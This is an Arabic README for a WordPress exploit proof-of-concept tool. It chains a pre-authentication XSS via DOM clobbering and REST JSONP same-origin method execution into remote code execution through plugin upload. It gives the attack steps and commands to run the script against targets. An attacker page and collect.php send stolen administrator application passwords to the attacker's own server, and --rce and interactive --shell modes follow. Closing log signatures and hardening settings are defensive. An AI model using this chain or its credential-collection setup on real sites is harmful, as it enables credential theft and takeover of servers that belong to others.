
سلسلة استغلال (PoC) لثغرة XSS قبل المصادقة في WordPress تصل إلى تنفيذ أوامر عن بُعد (RCE) عبر DOM clobbering وREST JSONP/SOME ورفع الإضافات، مع التحقق عبر مختبر Docker وقشرة تفاعلية.
سلسلة استغلال من XSS قبل المصادقة إلى RCE في ووردبريس، بناءً على بحث من pwn.ai نُشر على ionsec.io.
⚠️ تحذير قانوني: لأغراض تعليمية واختبارات مصرّح بها فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
| الخطوة | التقنية | الحالة |
|---|---|---|
| 1 | XSS بفارق التحليل (Parser differential XSS) (sanitize_user + فجوة تحليل المتصفح) | ✅ تم التحقق |
| 2 | استغلال DOM clobbering (<area id=ajaxurl>، <div id=color-picker>) | ✅ تم التحقق |
| 3 | التشغيل التلقائي عبر user-profile.js في صفحة تسجيل الدخول | ✅ تم التحقق |
| 4 | استدعاء REST JSONP يسمح بالتنقل بالنقاط (window.opener.approve.click) | ✅ تم التحقق |
| 5 | تجاوز عبر _method=GET + _envelope=1 | ✅ تم التحقق |
| 6 | سرقة كلمات مرور التطبيقات (SOME) | ⚠️ يتطلب نقرة من المسؤول |
| 7 | رفع إضافة → تنفيذ PHP (بدون تفعيل) | ⚠️ يتطلب بيانات اعتماد |
راجع lab/VERIFICATION_REPORT.md للتفاصيل الكاملة.
الخطوة 1: XSS بفارق التحليل
└─ sanitize_user() يسمح بـ "< area>" و"< div>" و"< button>" (مسافة بعد "<")
المتصفح يحلل هذه العناصر كعناصر HTML حقيقية في رسالة خطأ تسجيل الدخول
الخطوة 2: DOM Clobbering
└─ <area id=ajaxurl> ← يظلل window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> ← يلبي محددات jQuery
<button class="wp-generate-pw color-option"> ← معالج نقر مفوَّض
الخطوة 3: التشغيل التلقائي عبر user-profile.js
└─ يُحمَّل على wp-login.php (السطر 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') يُطلَق
$.post(ajaxurl, ...) → عنوان URL الهدف = area.href (يتحكم به المهاجم)
الخطوة 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → تنفيذ أسلوب من نفس الأصل (Same Origin Method Execution)
_envelope=1 → تجاوز خطأ المصادقة، وتغليف الاستجابة برمز 200
wp_check_jsonp_callback: التعبير النمطي /[^\w\.]/ يسمح بالتنقل بالنقاط
الخطوة 5: هندسة اجتماعية (نقرة واحدة)
└─ المسؤول يرى صفحة /wp-admin/authorize-application.php الحقيقية
ينقر على "Approve" ← يتم إنشاء كلمة مرور تطبيق
الخطوة 6: سرقة بيانات الاعتماد
└─ تظهر كلمة المرور في سلسلة استعلام إعادة التوجيه ← تُقرأ بواسطة النافذة الفرعية (نفس الأصل)
الخطوة 7: رفع إضافة → RCE
└─ رفع ملف ZIP للإضافة ← يتم استخراجه إلى /wp-content/plugins/{slug}/
ملفات PHP قابلة للتنفيذ مباشرة بدون تفعيل
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# مع وكيل Burp Suite
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# ووردبريس 6.0.3 على http://localhost:8080
# المسؤول: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
ارفع xss2shell_attacker.html وcollect.php إلى خادمك.
يجب على مسؤول ووردبريس مسجَّل الدخول زيارة صفحة المهاجم والنقر مرة واحدة.
تظهر بيانات الاعتماد في collected_creds.json على خادمك:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
توقيعات للبحث عنها في سجلات الخادم:
POST /wp-login.php مع جسم يحتوي على < area، < div، < button_jsonp= (خاصة _jsonp=a.b.c — النقطة هي مؤشر SOME)_envelope=1 + _method=GET على مسارات يجب أن ترفضهماPOST /wp-admin/update.php?action=upload-plugin من عنوان IP غير معروفGET /wp-content/plugins/{unknown-plugin}/*.php — ملف PHP في إضافة لم تُفعَّل مطلقًاauthorize-application.phpadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp= و_envelope= على نقاط نهاية REST؛ واحظر < area في جسم POST إلى wp-login.phpxss2shell/
├── README.md # التوثيق (هذا الملف)
├── xss2shell_poc.py # سكربت إثبات المفهوم الرئيسي
├── xss2shell_attacker.html # صفحة المهاجم المُنشأة
├── collect.php # نقطة نهاية جمع بيانات الاعتماد
└── lab/
├── docker-compose.yml # بيئة Docker المخبرية (WP 6.0.3)
├── VERIFICATION_REPORT.md # تحقق خطوة بخطوة
├── test_sanitize.php # اختبارات sanitize_user()
├── test_full_payload.php # اختبار سلسلة الحمولة الكاملة
├── test_browser.html # اختبار DOM clobbering في المتصفح
├── test_end_to_end.php # اختبار PHP من النهاية إلى النهاية
└── verify_xss.sh # اختبارات curl آلية
| العنصر | التفاصيل |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| الإصدارات المتأثرة | ووردبريس 4.7 – 7.0.2 (الإصدارات النقطية غير المصححة) |
| الإصدار المُصحَّح | ووردبريس 7.0.3 (6 أغسطس 2026)، وتم توفيره لجميع فروع الصيانة |
| المصادقة | قبل المصادقة (XSS بدون توثيق) |
| الأثر | تنفيذ أوامر عن بُعد (RCE) عبر رفع إضافة |